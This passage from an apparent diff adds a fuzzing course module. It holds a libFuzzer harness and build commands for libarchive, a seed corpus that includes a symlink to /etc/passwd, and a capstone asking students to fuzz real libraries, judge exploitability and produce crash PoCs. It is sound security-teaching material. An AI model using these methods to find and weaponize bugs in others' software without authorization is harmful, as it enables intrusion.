+ export CXX=clang++-19
1948
+ export CFLAGS="-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,undefined,address -g -O1"
1949
+ export CXXFLAGS="-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,undefined,address -g -O1"
1950
+
1951
+ cmake -DENABLE_TEST=OFF .
1952
+ make -j$(nproc)
1953
+
1954
+ cd ~/harness_dev/archive_campaign/
1955
+
1956
+ cat > fuzz_archive_read.c << 'EOF'
1957
+ #include "archive.h"
1958
+ #include "archive_entry.h"
1959
+ #include <stdint.h>
1960
+ #include <stddef.h>
1961
+ #include <stdlib.h>
1962
+
1963
+ int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
1964
+ struct archive *a;
1965
+ struct archive_entry *entry;
1966
+ int r;
1967
+
1968
+ a = archive_read_new();
1969
+ if (!a) return 0;
1970
+
1971
+ archive_read_support_filter_all(a);
1972
+ archive_read_support_format_all(a);
1973
+
1974
+ r = archive_read_open_memory(a, data, size);
1975
+ if (r != ARCHIVE_OK) {
1976
+ archive_read_free(a);
1977
+ return 0;
1978
+ }
1979
+
1980
+ while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {
1981
+ const char *name = archive_entry_pathname(entry);
1982
+ int64_t size = archive_entry_size(entry);
1983
+ mode_t mode = archive_entry_mode(entry);
1984
+ time_t mtime = archive_entry_mtime(entry);
1985
+
1986
+ const char *linkname = archive_entry_symlink(entry);
1987
+ const char *hardlink = archive_entry_hardlink(entry);
1988
+
1989
+ const void *buff;
1990
+ size_t read_size;
1991
+ int64_t offset;
1992
+ while (archive_read_data_block(a, &buff, &read_size, &offset) == ARCHIVE_OK) {
1993
+ // Just consume data, no processing needed
1994
+ }
1995
+ }
1996
+
1997
+ archive_read_free(a);
1998
+ return 0;
1999
+ }
2000
+ EOF
2001
+
2002
+ # Compile harness
2003
+ clang-19 -g -O1 -fsanitize=address,undefined,fuzzer \
2004
+ -fno-sanitize-coverage=trace-cmp \
2005
+ -I./libarchive/libarchive \
2006
+ fuzz_archive_read.c -o fuzz_archive \
2007
+ libarchive/libarchive/libarchive.a \
2008
+ -lz -llzma -lzstd -lxml2 -lcrypto -ldl -lpthread
2009
+
2010
+ # Build diverse seed corpus
2011
+ mkdir -p corpus_archive
2012
+
2013
+ # Valid archives of different formats
2014
+ # ZIP
2015
+ echo "Test file" > /tmp/test.txt
2016
+ zip corpus_archive/sample.zip /tmp/test.txt
2017
+
2018
+ # TAR.GZ
2019
+ tar czf corpus_archive/sample.tar.gz /tmp/test.txt
2020
+
2021
+ # 7z (if available)
2022
+ 7z a corpus_archive/sample.7z /tmp/test.txt 2>/dev/null || true
2023
+
2024
+ # RAR (if available)
2025
+ rar a corpus_archive/sample.rar /tmp/test.txt 2>/dev/null || true
2026
+
2027
+ # Archive with symlink (common bug location)
2028
+ ln -sf /etc/passwd /tmp/symlink_test
2029
+ tar czf corpus_archive/with_symlink.tar.gz /tmp/symlink_test 2>/dev/null || true
2030
+
2031
+ # Run fuzzing campaign
2032
+ ./fuzz_archive corpus_archive/ \
2033
+ -max_total_time=3600 \
2034
+ -timeout=30 \
2035
+ -rss_limit_mb=2048 \
2036
+ -print_final_stats=1
2037
+ ```
2038
+
2039
+ **What This Campaign Targets**:
2040
+
2041
+ 1. **Format parsing bugs**: TAR, ZIP, RAR, 7z, etc.
2042
+ 2. **Compression algorithms**: gzip, bzip2, lzma, zstd
2043
+ 3. **Path traversal**: Symlink/hardlink handling (like CVE-2023-38831)
2044
+ 4. **Metadata parsing**: Timestamps, permissions, extended attributes
2045
+ 5. **Memory corruption**: Buffer overflows in decompression routines
2046
+
2047
+ **Expected Findings** (based on real OSS-Fuzz results):
2048
+
2049
+ - Integer overflows in size calculations
2050
+ - Path traversal via symlinks
2051
+ - Buffer overflows in compression codecs
2052
+ - Use-after-free in error handling paths
2053
+
2054
+ ### Key Takeaways
2055
+
2056
+ 1. **Harness Design is Critical**: Efficient harnesses (in-process, persistent) significantly outperform naive `fork()/exec()` wrappers.
2057
+ 2. **Target Logic, Not Just I/O**: Good harnesses bypass CLI parsing to exercise core API logic directly (e.g., `json_tokener_parse_ex`).
2058
+ 3. **Seed Corpus Quality**: A diverse, minimized corpus of valid inputs accelerates code coverage discovery.
2059
+ 4. **Sanitizers Enable Detection**: Memory bugs (ASAN) and undefined behavior (UBSAN) are only found if the harness is compiled with them.
2060
+ 5. **Continuous Integration**: Tools like OSS-Fuzz automate the "find → fix → verify" loop, preventing regressions in evolved code.
2061
+
2062
+ ### Discussion Questions
2063
+
2064
+ 1. Why is an in-process harness (like `LLVMFuzzerTestOneInput`) orders of magnitude faster than a file-based CLI wrapper?
2065
+ 2. How does defining a proper seed corpus (e.g., valid JSON/ZIP files) help the fuzzer penetrate deeper into the target's logic?
2066
+ 3. What are the risks of "over-mocking" in a harness (e.g., bypassing too much initialization) versus "under-mocking" (doing too much I/O)?
2067
+ 4. How do you handle state cleanup in a persistent-mode harness to prevent false positives from memory leaks or global state pollution?
2068
+ 5. Why is it important to fuzz different layers of an application (e.g., the compression layer vs. the archive parsing layer) separately?
2069
+
2070
+ ## Week 2 Capstone Project: The Fuzzing Campaign
2071
+
2072
+ - **Goal**: Apply the week's techniques to discover and analyze a vulnerability in a real-world open source target or a complex challenge binary.
2073
+ - **Activities**:
2074
+ - **Select a Target**:
2075
+ - Choose a C/C++ library that parses complex data (e.g., JSON, XML, Images, Archives, Network Packets).
2076
+ - Suggestions: `json-c`, `libarchive`, `libpng`, `tinyxml2`, `mbedtls`, or a known vulnerable version of a project (e.g., `libwebp` 1.0.0).
2077
+ - **Harness Development**:
2078
+ - Write a `LLVMFuzzerTestOneInput` harness or an AFL++ persistent mode harness.
2079
+ - Ensure the harness compiles with ASAN and UBSAN.
2080
+ - **Campaign Execution**:
2081
+ - Gather a valid seed corpus (from the internet or by generating samples).
2082
+ - Minimize the corpus using `afl-cmin` or `afl-tmin` (or libFuzzer's merge mode).
2083
+ - Run the fuzzer for at least 4 hours (or until a crash is found).
2084
+ - **Triage and Analysis**:
2085
+ - Deduplicate crashes.
2086
+ - Use GDB and ASAN reports to identify the root cause (e.g., Heap Overflow, UAF).
2087
+ - Determine exploitability (Control of instruction pointer? Arbitrary write?).
2088
+ - **Report**:
2089
+ - Document the target, harness code, campaign commands, and crash analysis.
2090
+
2091
+ ### Deliverables
2092
+
2093
+ - A `fuzzing_report.md` containing:
2094
+ - **Target Details**: Project name, version, and function targeted.
2095
+ - **Harness Code**: The C/C++ harness you wrote.
2096
+ - **Campaign Stats**: Fuzzer used, duration, executions/sec, and coverage achieved.
2097
+ - **Crash Analysis**: ASAN output, GDB investigation, and root cause explanation.
2098
+ - **PoC**: A minimal input file that triggers the crash.
2099
+
2100
+ ### Looking Ahead to Week 3
2101
+
2102
+ Next week, you'll learn patch diffing - analyzing security updates to understand what was fixed and discovering variant vulnerabilities. You'll see how fuzzing discoveries lead to patches, and how analyzing those patches can reveal additional bugs.
2103
+
2104
+ <!-- Written by AnotherOne from @Pwn3rzs Telegram channel -->
2105
+